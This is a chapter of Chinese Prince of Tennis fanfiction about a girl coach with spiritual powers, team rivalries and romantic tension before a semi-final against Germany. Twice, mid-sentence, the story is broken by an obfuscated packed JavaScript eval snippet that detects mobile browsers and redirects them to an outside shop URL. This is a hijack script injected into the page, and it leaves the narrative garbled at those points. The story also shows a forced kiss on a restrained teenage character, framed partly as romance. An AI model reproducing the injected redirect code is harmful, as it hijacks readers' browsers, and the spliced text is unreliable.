今天治疗桃城证明了她的精神力真的能发掘出别的用途,她现在满心欢喜。再加上精神力紊乱的问题也暂时解决了,第九识的共鸣,她一定要继续。 她笑弯了眉:“我待会儿就来德国队这边坐坐,帖子的事,还没有好好感谢大家呢。”正好瑞士队也在,她还想谢谢阿玛迪斯他们。 七海却没有想到,大庭广众之下,他的双臂环绕而上,用力地将她揽入怀中,仿佛要把她嵌进自己的胸膛。 他当众抱住了她。 日本队的少年们有的正准备说点不阴不阳的话,完全没能预料到这一幕的发生。高中生们多数是当偶像剧看,只边取餐边饶有兴致地用余光观察着。 那两人的脸色立时暗了下来。 “国光......?”七海仰起头担忧地问道。他抱她抱得好紧,甚至,箍得她的胳膊有点疼。是发生了什么吗? 德国队那边,塞弗里德见状吹起了口哨,“国光,上!”该不会真是雷特鲁教练的恋爱教学起了效果? 七海听到塞弗里德在那里唯恐天下不乱,额头隐隐有井字暴起,这个家伙又皮痒欠收拾了,不过这件事先放在一边。 “国光,你怎么了,发生了什么事吗?你要不先放开我......”她小心翼翼地问道。 “手冢,你别太过分了,啊恩?”迹部景吾再也看不下去,大步流星走到两人身边准备把七海拉出来。 手冢国光缓缓松开了她。 关于她的一切都在失控。 “七海,和我回德国。” “等德国队十连冠,和我回德国。”他扶了扶眼镜,又重复了一遍。 “手冢,你在说什么呢?什么德国十连冠回德国?”迹部景吾紧蹙着眉,把少女用力拉回身侧。 幸村精市也走到了这边,双手抱臂面色不虞:“手冢,你别忘了。她是日本队的教练,在德国队只是兼任的顾问。” 俾斯麦决定掺和一脚进来,他放下了手中的叉子,笑容玩味地冲着那边的修罗场喊道:“哎呀,看来你们不知道呀?你们的二阶堂教练说如果德国队能夺得十连冠,就来德国队当教练哦。” 七海目瞪口呆,她什么时候说过这样的话了? 那时候她的意思明明是敷衍他们,她说的是“等德国队夺得十连冠再说。”,至于再说,说的是什么就由她决定了,更何况,她不会让日本队输。 只是,导火索已被点燃,纷争一触即发。 鸢尾少年冷然道:“就算她真的这么答应了,我们也不会让德国队夺冠。” 迹部景吾跟在边上补充,顺便递了一个挑衅的眼神给德国队的一桌人:“很抱歉,但是德国队的十连冠恐怕要被我们打破了,啊恩?” 塞弗里德哪里受得了这样的挑衅,直接从椅子上弹起来,一脚踩在椅面上,对着日本队指指点点咋呼道:“你们这群日本人别在这里痴心妄想了!要回家去的是日本队才是!” 海带同学也被这通狠话点炸,瞬间开启恶魔化:“你这个德国人说什么呢!该回去的是德国队!公主殿下只会留在日本!” 塞弗里德蹬了一下椅子,暴怒:“你谁啊!我都没见过你,喊谁公主殿下呢!” “德国人,你记住了,我叫切原赤也!My ,my name is Kirihara Akaya!” “切原赤也,什么奇怪的名字,还有你的发型也太奇怪了!” “你的发型也很怪,额头揪个小辫子,居然还敢说我!” ...... 七海无言地看着这俩愣头青隔着一条宽阔的过道,说着各自的母语只靠耳机里的同声翻译互怼,在德国时她就觉得这两人很像,如今一看,果然很像。 QP等塞弗里德发泄完才起身安抚似的拍了拍少年的肩膀,语气沉静地开口:“德国队夺得十连冠的概率是84.3%,日本队夺得冠军的概率是7.5%。”他和贝尔蒂一样,是收集数据的好手。 柳莲二作为数据组的一员不甘示弱:“德国队收集到的数据恐怕该更新了。” “毕竟现在二阶堂还在我们这边呢,噗哩。” ...... 两边针锋相对,几乎快要变成大乱斗—— “别吵了!!”七海双拳紧握闭上眼怒喝了一声。 她如今的精神力,即使不解封绝对主宰,也能直接对着这一屋子人施加削弱版的神降。 四周霎时间一片寂静,只有餐具从手上滑落掉在餐盘上发出的清脆声音。 “比赛时候见真章就是了,这里是吃饭的地方,给本小姐老实吃饭!我想去哪就去哪!”她都瞥到阿玛迪斯面无表情地盯着她了= = “啊......嗯,是呐。”他们总算恢复了冷静。 七海干脆先不取餐,径直坐到了德国队这边,他们似乎特意为她预留了一个空位。 “可惜今天没有酒。”选手村严格禁止未成年选手饮酒,只有商业中心顶楼有一家酒吧。 听说斋藤和三船他们总去,甚至有次拉上了黑部,最后把被灌得醉醺醺的他扛了回来,七海已决定哪天找仁王帮忙乔装打扮或者向斋藤借一下他的教练证,偷偷混进去骗酒喝。 “但是嘛,心意到了就好了。”七海笑眯眯道,“德国队的大家,真的很感谢你们。” 她把所有人的名字一个个念了一遍,“还有,塞弗里德,很抱歉......”她把他痛削了一顿的比赛视频被传到网上之后,除了夸她的声音,自然也有质疑塞弗里德的声音。 塞弗里德听出了她的言下之意,一副浑不在意的样子,傲娇道:“这种小事我才不在乎。” “那就好。”少女粲然一笑,“总之,真的很谢谢大家的帮忙,这杯冰水,我就以水代酒,敬大家以表谢意了。” 手冢国光突然按住了她的手,七海侧过头眨了眨眼,“怎么了,国光?” 他面色如常,“七海,你快来例假了,不要喝冰的。” 雷特鲁等几个并不面瘫的少年脸上都浮现出了暧昧的表情。 “......我知道了。”她只轻声应了一句。 又和德国队的少年们聊了几句,七海转而走到了瑞士队这边。今天难得,欧诺基伊哈教练也在,七海汗颜,刚才那些幼稚的拌嘴也全被这位82岁的教练听到了。 “欧诺基伊哈教练,大家,好久不见了。”那天日本对瑞士队的比赛她本该在场,可是她偏偏瞎了。 “七海,来,坐。”老人柔声呼唤她坐在他身边,七海从善如流地坐下。 “阿玛迪斯,我要先谢谢你。” 在瑞士那天和阿玛迪斯的比赛,在未解封绝对主宰的情况下,两人可以说是使出了浑身解数,打得难解难分。 这次放出比赛视频,虽然只放了一盘,可是也让他国选手掌握了他更多的数据,并不利于瑞士队夺冠。 “呵,瑞士队的人从来不怕别人掌握数据。”阿玛迪斯自信道。 “就算这样也要谢谢你。还有欧诺基伊哈教练,我想这一定是您出的主意。谢谢您这么关注我看护着我。” 七海有点眼泪汪汪。当初应承当顾问除了善心,自然也有工资的原因,只是帮着提供训练建议就能拿到四份以欧元为单位的报酬,傻子才不干。 可如今,她和他们之间早已不止是普通的劳力交易。 “其他人也一样,谢谢大家。兰比尔,关于你的膝盖,我想介绍一家德国的疗养院给你,或许在那里能够得到彻底的解决,待会儿我把地址和主治医师发给你。” 没错,就是手冢国光曾去过的那家位于慕尼黑的疗养院,正好德国和瑞士那么近,不耽误。 “谢谢你,七海。”兰比尔再次感到温暖和一丝诧异,他们的顾问似乎从一开始就很关心他的旧伤。 七海坐在瑞士队的桌旁和瑞士队的少年们闲聊着,想起了另一件重要的事,不,应该说是她今天来找瑞士队的人要说的头等大事。 她的表情严肃了几分:“其实我今天还有一件很重要的事要说,今年的美国队,很强。十六强对上葡萄牙你们会赢,但是八强和美国队的比赛一定不能掉以轻心。阿玛迪斯,别小看莱因哈特。还有越前龙马,那个孩子是遇强愈强的类型。” 七海心中挣扎了片刻,还是开口了:“我......我待会儿发一份越前龙马的数据给你们。” 阿玛迪斯和亨利等人面色凝重地点了点头。他们知道,那个少年是武士南次郎的儿子。 虽然莱因哈特也算她的朋友,小不点更是她的后辈,但是她作为瑞士队的顾问,还是偏向自己人。好在越前龙雅已经不在美国队了,她至少不用担心他去针对瑞士队...... 七海突然愣了愣。其实一直以来越前龙雅都遵守着两人之间的交易,从未主动破除过封印去吞噬他人的网球。 但她却总把他当做潜在的危险分子看待,拥有着这样的网球的他,总是活在被猜忌被防备中,而猜忌防备着他的人,也包括她。 瑞士队叙完旧,七海这才回到取餐区,随便取了点吃的,在日本队这边流连着寻找着空位。日本队的人实在太多了,分了好几桌坐。 对了,她得先去找他。七海再次选择了坐到高中生的那一桌,不知道为什么Duke居然没有和平等院凤凰挨着坐而是中间空了个位置,她直接不带客气地一屁股坐下。 “平等院,你......”她刚坐下想说点什么,平等院凤凰就黑着脸不冷不热地刺了她一句。 “我还以为你要归顺德国队了。” “我才不会呢!比起这个,你现在感受一下。”七海直接在位置上发起了能力共鸣,让平等院感受着她解封下的精神力。 “......嗤。” “喂你这什么意思嘛!反正,我的精神力恢复了,从今天晚上开始,我们继续双打。” “老子不需要第九识。” “平等院,我差点因为你不接电话死掉,所以你欠我的,你必须学。”七海音量骤降,小声道,装委屈不知道有没有用总之先试试。 平等院眼中闪过一丝愕然:“二阶堂,什么意思?” 她不知怎么地真的泛起了委屈的情绪,那天她真的很疼很怕。“昨天傍晚,你为什么不接我的电话?” Duke仍旧盯着自己的餐盘,坐在边上默默插嘴解释了一句:“昨天傍晚,老大在带着我们特训。”初中生们在平等院的默许下去踢馆韩国队了。 她垂眸轻声道:“那天傍晚,我的精神力烧起来了......烧成了一片,很疼,疼得我快死了。其他人触碰到恐怕只会引火烧身,我知道你不怕我的精神力,所以我第一个打了电话给你,虽然我也不知道你有没有办法。” 平等院凤凰听完第一句话后,面色猛地一沉,一些情绪在心中咆哮着。 “还好还有一个人的精神力也强得可怕,他救了我。” “谁。”他冷声问。 “梅达诺雷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201633|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 金发少年深深蹙起眉头,只那一次电话中的简短交锋,他就判断出那个家伙不是什么善类。 “平等院,成大事者不拘小节。晚上的比赛,麻烦你按时出现,别让我看不起你。”七海留下这句话,端着盘子默默离开了高中生的餐桌。 --------------------- 夜晚的室外网球场,仍旧是四人站在场地上,只是,其中一人发生了变化。 七海没想到越前龙马居然拒绝了继续组双打的邀请,电话里说着“二阶堂学姐,我不想和那个人组双打。”,七海心中警铃大作,该不会小不点知道了他哥哥的秘密厌恶他了吧? 现在,种岛修二代替越前龙马出现在了赛场,她还不能直接问越前龙雅这件事,场上四个人,只有种岛修二对越前龙雅的秘密一无所知。 “财迷教练,没想到我们还有机会能打比赛呢。”种岛修二笑道。 七海无语:“种岛,我早就想问了,你干嘛突然喊我财迷教练。” “之介和我说,你看到他的金护腕双眼放光。” ......搞了半天原来是白石藏之介你小子说漏的嘴!呃,虽然她也没让他保密就是了,以四天宝寺的调性,他大概只是普通地当做一件有趣的事在说吧。 “二阶堂,多谢你了。”种岛修二又突然正经了几分。 她眨眨眼:“怎么了?” 种岛修二笑得神秘兮兮:“接下来比赛的时候你就知道了。”之介的星之圣经,他已经见识到了呐。 “越前君,我也没想到还能和你一起组双打呢。”种岛修二又笑着凑到越前龙雅面前。他们仅在U17合宿营地有过点头之交。 橙子少年抛着他的每日一橙,随意地笑着:“神様叫我来,不得不来呐。” 七海此刻的思绪早已发散到了天边,她忽地想到,这两个人一个是能使出化一切招式为无形的网球,一个人是吞噬网球,不知道如果他们打比赛会是什么结果,吞噬网球会被化为无形吗? 平等院凤凰抱臂站在那儿听了半天,不耐烦道:“你们还打不打了?” “打打打,我们开打。”七海收起那些没头没尾的遐思,嬉皮笑脸。 越前龙雅将手心的橙子几口啃完,也走上了赛场。 今晚的他既没有穿着西班牙队的制服,也没有穿美国队的制服外套,很奇怪,没有原因,但她就是知道,这个人并不高兴。 没有其他观众,而这三人又都见识过自己解封绝对主宰的状态,因而这场比赛七海便在能力共鸣后随心所欲地用起了她根据绝对主宰开发出的新技能。 种岛修二知道自己的己灭无在她面前无效,便干脆只针对着平等院打,己灭无与未生无轮番招呼。 三盘比赛结束,她让另外两个人先行离去,冷白的月光下,室外网球场又剩下她和越前龙雅两个人。 “越前君,我有一件事要通知你。”她走到了他面前。 越前龙雅挑了挑眉,“什么事?” “从今天起我决定相信你,不再封印你的技能了。至于双打比赛......你就只冲着我打吧,反正你吞噬不了我的能力。” “阿啦啦,神様,这么突然?是真的相信我了,还是别的原因呐?”他眯起眼,目含探究。 “是相信你不会随意剥夺别人,也是因为封印你会损伤我自己,我......”七海短暂地陷入回忆中晃了晃神,“我想多为自己考虑。” “原来是这样。”他似笑非笑。 “另外还有一件事。”七海直截了当地发问:“越前君,小不点是不是知道你的吞噬网球了?” 他的身周突然散发出一股寒意,平和的面色瞬间冷下来。“二阶堂,和你有什么关系?” 过快的表情变化令七海措手不及,面上愣了愣。他这样不客气的语气好久没有出现了,她还以为这些天的相处,他的语气慢慢变好,在交易条约的维系下,他们也能算朋友了。 “......小不点突然不肯和你组双打,所以我才这么问。” “所以?又和你有什么关系?” “既然你自己也是不愿意随意使用吞噬网球的,我想总是活在被猜忌被防备中也不好受,你不如去和他说清......” 七海走到场边,两手把网球拍塞回包里,嘴上边说着,拉链拉上转回身时,少年已近在咫尺。她被突然贴近的人影吓得猛地往后退了一步,一时间整个人贴在了围网上。 “神様。”高大的身影再次压下来,他拎起她的手按在了围网上,七海一阵挣扎,另一只手刚准备施力推开,却同样被死死按住。 “你不知道说这样的话很危险吗?” 她彻底被他的阴影笼罩,视线范围内只剩下他那双明亮的棕黄色瞳孔,墨绿色的头发随着夜晚温热的微风轻轻拂动。他的嘴唇轻抿着,他的眼神她没能看懂,太多纷杂的情绪藏在里面。 “越前君,你放开我。”七海皱眉。大概是因为被按在墙上强吻过不止一次,她发觉眼下他们两人的姿势很微妙,会让她想到一些很不妙的后果。 “神様,让我告诉你吧。流浪了很久的动物,最怕的就是关心,让他以为自己有了归属,然后又被迫离开。”越前龙雅的瞳孔中闪过一丝冷厉,一些并不愉快的回忆上涌。 原本还在试图挣脱的手僵在了半途。有了归属后又被迫离开......这句话听起来......好孤独。 越前龙雅感受到她骤停的挣扎,越发想笑。只是说了这么几句话就开始可怜他了吗,神様,你还真是平等地怜爱世人啊。 可惜,世人都希望神只眷顾自己一人,人人都想独占神。 二阶堂,你似乎完全没有这个自觉,连他这样的人也敢碰。 他换回了那张玩世不恭的笑容,嘴角勾起。 “如果你要关心我,我可不能保证后果。” “唉,我只是......”七海收回心绪叹了口气,解释的话说到一半却被截断。 “废话太多了,神様。”他没那个耐心听只是后面的内容。 南半球的一阵热风拂过,吹得人心痒痒。少年趁其不备,干脆利落地低下头堵住了她的唇,下一秒,七海反应极快地抬起脚踹了过去。 他松开禁锢的双手,灵巧地向后一跳躲开了这一脚,笑容放肆愉悦。 “神様,你的味道,果然很好。” 120.第 120 章 阿拉梅侬玛退赛,日本队不战而胜,另有七场十六强赛。今天,日本队众人分成了三组,分别去观摩瑞士队、德国队、和法国队的比赛。 至于西班牙队的比赛,七海直言无需观摩。 【“没有到和强队比赛的时候,西班牙队的比赛就没有观看价值,他们不会让那几个实力强的正选上场暴露自己的,你们去了反而有危险,别去。”】 “阿拉梅侬玛的选手,今早全员回国了呢。” 三大强国的比赛都以3-0快速终结了对手。结束上午的观赛,少年们坐在返程的巴士上讨论着阿拉梅侬玛突如其来的退赛,小金不知为何今天睡得尤其沉。 柳莲二坐在位置上平静道:“果然,还是和二阶堂说的那个西班牙队选手有关吧。” 七海点了点头:“嗯,柳说得没错。多半是塞达精神控制了他们,让他们主动退赛了。” 仁王雅治吐槽的欲望爆棚:“西班牙队该不会是靠一路催眠对手赢上来的吧,噗哩。” “不是没有这种可能呐。”入江奏多轻笑着,撑着下巴望向窗外,不知在眺望什么。 “总之,西班牙队绝对不可轻视。”坐在入江身边的鬼十次郎面色严肃。 “唉。”七海没忍住垂头叹了口气,她回想起了昨晚的事。她哪能想到越前龙雅会有那样的心思,不,这个人玩心太重估计也不是认真的......不如说这样更恶劣了吧! 现在更可怕的是,西班牙队有了他的加入,简直成了反派梦之队,大半人的网球招式都没想着让对面的选手好过,况且还有个被关禁闭的少年没“出笼”呢。 “七海,怎么了?”幸村精市坐在她身边温声问道,蓝紫色的瞳孔沁满温柔。 今天的幸村精市不知为何罕见地没有和真田弦一郎坐在一起,迹部景吾还是和仁王雅治坐一起,返程时她干脆坐到了他身边。 坐了就坐了吧,又怎么样呢。她早该想明白,这些细枝末节不过都是小事,比赛的胜利才是头等要事。 “没,只是在想如果我们进了决胜赛该怎么打赢西班牙队。” 他抬起手轻轻揉了揉她的头:“不用担心,我们会赢的。” 七海没有应答这句回话。 和德国队的对战名单她从很早之前就开始考虑了,也和三船入道还有斋藤他们在【一头勤勤恳恳的驴和她的boss们】的群里聊了很多次,今晚,他们就要敲定能确定的人选。 西班牙队......他们该怎么样才能赢呢? 她心中浮现出了对战越前龙雅和梅达诺雷的单打人选,七海侧过头望了身后的少年一眼,双眸不确定地闪烁着。她信任他,但这么选择真的是正确的吗? 幸村精市在想其他的事。 说来也凑巧,这三个人与她相关的命运轨迹居然也惊人地相似。 继迹部景吾被加缪“劝分”之后,手冢国光被博格暂时性“劝分”,昨晚,他也被“劝分”了。 【“幸村,你最近在她身上花的时间太多了。” “弦一郎,我以为你知道我有多喜欢她。” “幸村,现在不是谈情说爱的时候,我想你应该清楚。” “我很清楚我在做的事。” “二阶堂会来立海大读高中,我不明白你在心急什么!你没必要学迹部那样凑过去。” “弦一郎,有些事你并不清楚内情。”】 最后的会谈不欢而散。 她真的会留在立海大吗?她真的......会选择他吗,他现在变得没有那么确信了。 她甚至想要牺牲自己......他决不允许。天台那一次她昏死在他面前他就已经将失去的痛苦体会得足够透彻,他后知后觉地发现自己随时有可能失去她。 思及此处,幸村精市垂头看着自己手边近在咫尺的那只纤长的手,不轻不重地覆了上去,随即,插进指缝间紧紧扣住。 她的手背和他的掌心贴合在一起,温度也在互相传递,像是一条纽带。 似乎只有这样,他才能切实地感受到,他和她是相连的,她还好好地活着,在他的身边。 “精市?!”七海小声地惊呼道,低头快速扫了一眼两只紧握在一起的手,准确地说是被他紧扣着的手,又抬头看向他的脸,莹亮的紫瞳中透出几分错愕。 “七海,我只握这一路。” 她的思绪流速忽地变得极其缓慢,像是被按下了减速键。为什么他的声音明明一如往常,她却听出了他的话语里,居然带上了一丝......恳求。 丝丝缕缕说不清道不明的情绪钻进她的身体里,在她的心脏周围缠绕着,跟随着血液的流动缩放着,仿佛要将她的心束缚住。 椅面上她被他紧扣住的手,手背上一阵阵暖意传来,甚至于有些炽热。 她好像没得选择。 她好像,没法拒绝他这样的请求。 七海最后只沉默地任由他的五指紧扣着她,直到下车,他依言缓缓松开了手,她才注意到手背上薄薄的一层潮湿。 是,他手心的汗。 ------------------------ 对战法国队的选手名单发布后,夜晚的双打比赛照常进行。 比赛结束另两人先走一步,越前龙雅了然地扫了眼面前快手快脚收拾着网球包的少女,发出一声意味不明的轻笑。 “神様很忙呢,拯救完我又要去拯救别人了。” 七海收拾的动作顿住,沉默了半晌才抬起头,紫瞳平静无波地望向他: “越前君,吞噬能力真的是主动你想要的吗?这些年你认真打过几次网球呢?我是西班牙队的顾问,收了钱就该办事,在西班牙队的这几年我会去寻找办法解决你的问题。” “更何况......”她的嘴角轻轻翘起,笑意盈盈。“付我薪水的可是你爸爸哦,越前君。” 吞噬网球虽然让本就实力强横的他愈发强大,也带给他不自由和痛苦,那不是他主动选择的能力。 她到底该不该帮他?回想起在美国时,他对小不点的亲昵,他对应战邀请的多次推拒,答案似乎变得很清晰。 况且,从功利角度看,如果能让越前南次郎欠她一个人情,那可不得了。她想要获得更多话语权,就该主动与这些人建立联系。 “二阶堂,我以为昨晚的那一吻该让你明白了。”少年一步步向她逼近。 “不要再说这种容易让人误会的话。”他的目光森寒。 七海背上网球包,语气依旧十分平静:“你凶我也没用,我想做的事,没有人能阻拦得了。” 越前龙雅沉默了片刻。 “不愧是神様呐,那我就等着你来拯救我了。”他的脸上又带上了笑意,揉了揉少女的头,拎起网球包自顾自地走出了网球场,转身的那一瞬,笑容尽失。 七海走向了相反的方向。 回到房间放下网球包,她毫不犹豫地走到了一扇门前轻叩。 “噗哩,二阶堂,又有什么事吗?”仁王雅治打开门,为她让出了一条道。 七海也不客气,从他身侧擦肩而过,在少年的床前站定,笑得意味深长。 她指了指床:“仁王,躺床上去。” “二阶堂,你该不会想对我做坏事吧。”仁王双手插兜慢悠悠地晃到床边,扫了她一眼。 “仁王,你想得美。”她噗嗤一下笑出了声。 他反而顿住了,那天在他的房间里,他下意识在她面前的伪装暴露后,他的心情并不好。可她今天看起来却很高兴,嘴角,眉毛都是弯起的。 “好了,这是总教练的指令,上床,闭眼。”七海催促道。 “二阶堂,你到底要干什么。” “补送你一份生日礼物。哎呀,总之你快点照做!”这个借口找得妙,七海在心中默默给自己点赞。 他居然真的认命地照做了,但还没忘记在闭眼前皮一句。 “二阶堂,对我温柔一点,piyo。” “嗨嗨。”七海敷衍道,旋即收起了笑容。她斜坐在床边,将手轻放在少年的额头,闭上眼,磅礴浩大的精神力探进他的识海的一瞬,她皱起了眉头。 果然状况不太妙,平等院的精神力之可怖坚定远非常人可比拟,仁王幻影平等院和削足适履也没多大区别。以他目前的精神力水平,即使幻影平等院也发挥不出平等院凤凰本身实力。 还有他的手肘......虽然精神力的疗愈无法彻底解决□□的损伤,但是,却可以缓解他的痛楚,这样至少他不需要在比赛时打有副作用的封闭针。 七海边思索着,边用精神力将一切紊乱气旋扫荡地一干二净,最后,分出一部分纯净的精神力送到少年的识海中。 她想试试能否短期内提高他的精神力水平,半决赛在即,德国队太过强大,只要是能更接近胜利的办法,只要不损害自身,她要尝试个遍。 起初两股不同的能量还保持着各自的形态,随着彼此的靠近,开始不断纠缠、交织,互相侵蚀,渐渐地,两股精神力逐渐失去了各自的边界,一点点融合在一起...... 居然成功了!七海愣了愣,只觉得庆幸又可笑,她该感谢这个世界的荒谬吗。 这个世界不该叫网球王子,该叫网球修仙传,或是网球奇侠传,现在她的行为像是在传功似的,好在她如今的精神力有一部分是纯净游离的,这么做对自己也无损伤。 再次放出精神力感受,仁王当前的精神力点数,大约已经从5提升到7。7算是一道坎,到达7点,即使发挥不出100%的实力,也能增加一道保险。 她心下一定。 “仁王,醒醒。”她拍了拍他的脸。 仁王雅治从一个短暂却足够美好的梦中醒来,立马感受到了不同。 “二阶堂,你对我做了什么?”少年的脸上难得出现呆愣的表情。 手肘的那处旧伤细微却一直持续以至于无法忽视的刺痛消失了。 此外,他产生了一种极其微妙的感觉,就好像......这个世界变得更清晰了。 她仍旧保持着刚才的笑意,紫瞳莹亮:“仁王,你想幻影平等院和Duke组双打吧,我同意了。” 仁王雅治突然感到手肘上抚上一抹柔软冰凉,垂头才发现她抓住了他的手肘,她的下一句话又让他猛地抬起了头。 “仁王,我想你发生了变化,从一军那场比赛时起,我才真正意义上见识到了你的求胜心。那时站在赛场上,不顾手肘疼痛坚持比赛的从来不是手冢国光,而是仁王雅治,我看到的人从来是你,不是他。” “去和德国队的那两个职业选手打比赛吧,然后,赢下他们。我相信你和Duke能够做到。”她收回了手,站起身来,俯视着他一字一句地说着,房顶的白炽灯打在她的头顶,显得她的表情带上了几分肃穆。 仁王雅治保持着盘坐在床上的姿势,无奈地轻笑着。“二阶堂,看来Duke现在真是把你当老大了。”他的伪装,他的盘算,被她尽数剥下,似乎在她面前,自己这个欺诈师总是当得很失败。 幻影幸村次次被她认出,幻影手冢被她的演技骗过,第二次又是那样的后果,就连幻影个路人也能碰巧被她撞见,不过,有一个人,他的幻影她还尚未识破。 而站在他面前的七海则是想起了另一件事,转而挑了挑眉,调侃道: “其实......柳生他和我说了你的幻影的原理,也和我讲了你的苦闷。不过我觉得这不能怪我,谁让你歪打正着总是幻影喜欢我的人呢?” 那天她在他面前哭泣,隔日便收到了柳生比吕士发给她的短讯,这才知悉了一切。 少年嘴角勾起的弧度更大了。“噗哩,二阶堂,喜欢你的人太多了我真是一不小心就会幻影上呐。”连那个人也。 见他能够毫不介怀地提起这件事,七海也放松下来。 “不如去寻找自己的网球吧,这样以后你在赛场上的感受永远只属于你自己。”她笑眯眯道。不等他回复,她转身随意地摆了摆手,背影潇洒,步伐轻快。 留在房间里的白发少年,在视线不再交汇的那一刻,神情立时变得复杂。 --------------------- 七海没有回到房间休息,而是径直去了教练宿舍。今夜,他们就要把部分对战德国的名单定下来,至于明日的法国队比赛,他们有信心取胜。 一推开门,阵阵酒气便直往她鼻孔里钻。 “七海,你来了。”三船入道坐在沙发上,单手撑着额头,眉头紧皱,神色不虞。 “小七海,快来坐,看起来怎么有些累呀。”斋藤温声关心道,拍了拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212000|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身侧的沙发。 七海默默地在他右边坐下,拓植龙二坐在斋藤的左侧,双手抱臂也是一副严肃的模样。 黑部由起夫坐在另一侧的单人沙发上,今天他难得没有在喝红茶,而是冷脸盯着茶几上的那份打印下来的数据,上面印着的人名赫然是手冢国光四个大字。 “小七海,看来我们只能放弃一对双打了。德国队的那对职业选手,战胜的可能性几乎为零。”黑部的语气透着无奈。 “不如,让平等院和Duke组双打?”馊主意by斋藤至。 三船入道听罢,烦躁的怒火顿生:“别说蠢话了!有资格与博格对战的除了平等院还有谁!”说完,他恶狠狠地举起酒葫芦猛灌一口。 七海看看三船老头,又转头看看黑部:“其实不上平等院也可以做到平等院和Duke的双打。” 斋藤反应了一会儿:“小七海,你的意思......让仁王君上双打吗?”他们都知道仁王雅治的幻影能力。 黑部由起夫的眉头蹙得更深了:“仁王雅治,他的精神力和体能不足以幻影平等院。”那个少年肌肉含量不足,精神力也完全无法和平等院比拟,强行幻影效果不佳,更何况他...... 她向湖面掷入一颗石子。 “仁王现在的精神力已经达到7点了。” 身旁的中年人满面诧异:“小七海,你没说错吧。我记得仁王君的精神力点数是5,我这个精神教练可不会记错哦。” “你们信我就是了。” 斋藤至和黑部由起夫面面相觑,三船入道放下酒葫芦沉声道:“如果仁王的精神力达到了7点,倒是可以考虑。” 七海想起另一件事,不自觉揪紧了裙摆,她总是麻烦他们。“斋藤,我知道你们还有榊教练还有赛琳娜都和慕尼黑那家疗养院里的医师很熟,能帮我推荐两个人去治疗吗?” 斋藤至意外地挑了挑眉:“小七海,你想帮谁?” 她抬起头:“瑞士队的皮特·兰比尔,还有,仁王雅治。” “仁王君怎么了?”斋藤问道。 七海轻叹了口气。“你们不用再装了......他一直都在幻影过去的他,所以,我没能觉察出来他的旧伤。” “仁王的手肘自从上次幻影成国光和高中生打比赛,又偷偷找平等院打比赛之后,就一直没有恢复,难道不是吗?他去过合宿营地的复健室了吧,你们一定知道的。” 此言一出,斋藤几人均沉默了一阵。 那天与一军的那一战,看到她应激成那样,他们怎么可能再告诉她真相。 实际上,仁王在那场激战之后便因为手肘上的伤准备退役了。因而,他们从一开始就没考虑过让仁王雅治上这么重要的双打。 “小七海,那你怎么还让他去和Duke打双打?”斋藤至揉了揉身侧少女的头,他再清楚不过,七海这个孩子看不得别人受伤。 她的语气坚定:“大不了就让他打完比赛去德国治疗手肘吧。我听平等院说,他们远征军一回来,他就去找他们打比赛了,他大概很想要这样的机会,就给他吧。” 三船入道沉思片刻,拍板道:“好,那就让仁王和Duke去打双打。” “还有一个人,七海,你对他最熟悉,你来说,找谁和他打。”三船拿起茶几上的单子递给七海。 她伸手接过单子,毫不意外地看到了他的名字。 斋藤至开起了玩笑:“小七海,我们听说,手冢君现在转过头来追你了哦。呀,不知道你有没有办法让他放水呢。” 黑部由起夫冷漠地向斋藤至扔过去一记眼刀,斋藤你的脑子里只有这些馊主意吗。 七海抽了抽嘴角:“斋藤,那恐怕要让你失望了。国光不是会为了儿女私情放水的人,而且,现在德国队似乎认为只要夺得十连冠我就会去当德国队的教练......” 七海话说到一半,发现房间里这几个人看她的眼神都变得微妙起来,赶忙摆摆手解释:“当然我肯定不会去的,但是国光大概也是这么认为的......” 斋藤至一拍额头,丧气道:“那岂不是完蛋了,手冢君大概只会更加竭尽全力想打败我们。”他可是从高中生那里听说了最近发生的事,哎,青春啊,啧啧。 七海失笑:“即使没有我,他也一样会竭尽全力,他是一个很有职业素养的人,我没有那么重要。” 黑部由起夫勾了勾唇角,没有发表看法。 不再管这些私事,七海认真分析起来:“国光的实力我在去德国时就感受到了,非要说的话,我认为这两个人适合与他一战,不二周助和幸村精市。” “那你选谁呢,小七海。” “周助,我想把他留到对战西班牙的比赛。所以,大概是精市吧。”她的天才周助,有一个更适合他的对手,她想留给他去比。 她的话才说到一半,教练组三人就整齐划一地露出一副“我就猜到”的表情。 一阵沉默后—— “哎呀,无论怎么看手牌差距都还是太大啊。”斋藤至还是没憋住说起了丧气话。 拓植龙二难得有横眉冷脸训斥斋藤的时候:“这是理所当然的吧!毕竟是那个王者德国队。但如果当教练的都放弃了,比赛还怎么比!” “如果一开始就抱着可能会输的心态,是赢不了他们的。”她轻声道。 “所以,我们必须赢。我们一定会赢。” 分明她的声音又轻又缓,话语中传达出的坚定却字字千钧。 三船赞许地点了点头:“七海说得没错,那些小子们可没有一个放弃的!” “那要直接宣布出战名单吗?” 沙发边的少女敲着扶手沉吟片刻,“让他们自己推举吧,这样公平些。总之,我相信最后推举出来的人,依然会是他。” “其他人选也让他们自己毛遂自荐吧,虽然,我们也已经猜到了大致的结果。” “除此之外......”七海深吸了一口气,扫视了一圈房间里的四人。“有些事,我撒谎了,但是我现在改变主意了。” 她想自救,她想变得足够强大,彻底摆脱绝对主宰的副作用。 或许她会像那些突兀出现在脑海的记忆碎片中那样死掉吧,可如果她没死呢,哪怕只有一点可能她也不想放弃了。 